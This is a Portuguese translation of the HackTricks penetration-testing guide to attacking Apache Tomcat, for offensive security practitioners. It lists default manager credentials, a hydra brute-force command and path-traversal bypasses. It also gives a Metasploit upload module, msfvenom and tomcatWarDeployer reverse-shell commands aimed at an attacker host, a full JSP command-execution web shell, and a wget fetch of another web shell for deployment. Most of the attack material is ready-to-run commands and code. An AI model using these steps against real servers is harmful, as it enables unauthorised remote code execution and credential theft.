hacktricks/network-services-pentesting/pentesting-web/tomcat
2024-04-11 00:57:16 +00:00
..
basic-tomcat-info.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:44:24 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/tomcat/README.md 2024-04-11 00:57:16 +00:00

Tomcat

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Descoberta

  • Normalmente é executado na porta 8080
  • Erro comum do Tomcat:

Enumeração

Identificação da Versão

Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Localização dos Arquivos do Gerenciador

Identificar as localizações exatas dos diretórios /manager e /host-manager é crucial, pois seus nomes podem ser alterados. Recomenda-se uma busca de força bruta para localizar essas páginas.

Enumeração de Nomes de Usuário

Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuários através:

msf> use auxiliary/scanner/http/tomcat_enum

Credenciais Padrão

O diretório /manager/html é particularmente sensível, pois permite o upload e implantação de arquivos WAR, o que pode levar à execução de código. Este diretório é protegido por autenticação básica HTTP, sendo comuns as seguintes credenciais:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Essas credenciais podem ser testadas usando:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Outro diretório importante é /manager/status, que exibe a versão do Tomcat e do sistema operacional, auxiliando na identificação de vulnerabilidades.

Ataque de Força Bruta

Para tentar um ataque de força bruta no diretório do gerenciador, pode-se usar:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Vulnerabilidades Comuns

Divulgação de Rastreamento de Senha

Acesso a /auth.jsp pode revelar a senha em um rastreamento sob circunstâncias favoráveis.

Codificação de URL Dupla

A vulnerabilidade CVE-2007-1860 em mod_jk permite a travessia de caminho com codificação de URL dupla, possibilitando acesso não autorizado à interface de gerenciamento por meio de uma URL especialmente elaborada.

Para acessar a interface de gerenciamento da web do Tomcat, vá para: pathTomcat/%252E%252E/manager/html

/exemplos

As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo suscetíveis a divulgação de informações e ataques de script entre sites (XSS). Esses scripts, listados de forma abrangente, devem ser verificados quanto a acesso não autorizado e exploração potencial. Encontre mais informações aqui

  • /exemplos/jsp/num/numguess.jsp
  • /exemplos/jsp/dates/date.jsp
  • /exemplos/jsp/snp/snoop.jsp
  • /exemplos/jsp/error/error.html
  • /exemplos/jsp/sessions/carts.html
  • /exemplos/jsp/checkbox/check.html
  • /exemplos/jsp/colors/colors.html
  • /exemplos/jsp/cal/login.html
  • /exemplos/jsp/include/include.jsp
  • /exemplos/jsp/forward/forward.jsp
  • /exemplos/jsp/plugin/plugin.jsp
  • /exemplos/jsp/jsptoserv/jsptoservlet.jsp
  • /exemplos/jsp/simpletag/foo.jsp
  • /exemplos/jsp/mail/sendmail.jsp
  • /exemplos/servlet/HelloWorldExample
  • /exemplos/servlet/RequestInfoExample
  • /exemplos/servlet/RequestHeaderExample
  • /exemplos/servlet/RequestParamExample
  • /exemplos/servlet/CookieExample
  • /exemplos/servlet/JndiServlet
  • /exemplos/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Exploração de Traversão de Caminho

Em algumas configurações vulneráveis do Tomcat, você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: /..;/

Portanto, por exemplo, você pode ser capaz de acessar a página do gerenciador do Tomcat acessando: www.vulnerable.com/lalala/..;/manager/html

Outra maneira de contornar caminhos protegidos usando esse truque é acessar http://www.vulnerable.com/;param=value/manager/html

RCE

Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, você pode fazer upload e implantar um arquivo .war (executar código).

Limitações

Você só poderá implantar um WAR se tiver privilégios suficientes (funções: admin, manager e manager-script). Esses detalhes podem ser encontrados em tomcat-users.xml geralmente definido em /usr/share/tomcat9/etc/tomcat-users.xml (varia entre as versões) (veja a seção POST).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit is a powerful tool used for exploiting vulnerabilities in web applications. It provides a wide range of exploits and payloads that can be used to test the security of web servers, including Apache Tomcat. Metasploit is widely used by penetration testers and security professionals to identify and fix security issues in web applications.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

Shell Reverso MSFVenom

  1. Criar o arquivo war para implantar:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Faça o upload do arquivo revshell.war e acesse-o (/revshell/):

Shell de ligação e reversa com tomcatWarDeployer.py

Em alguns cenários, isso não funciona (por exemplo, em versões antigas da sun)

Download

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Shell reverso

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de ligação

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Usando Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Método manual - Web shell

Crie index.jsp com este conteúdo:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Método Manual 2

Obtenha um web shell JSP como este e crie um arquivo WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

O nome do arquivo de credenciais do Tomcat é tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Outras maneiras de obter credenciais do Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Outras ferramentas de varredura tomcat

Referências

Grupo de Segurança Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!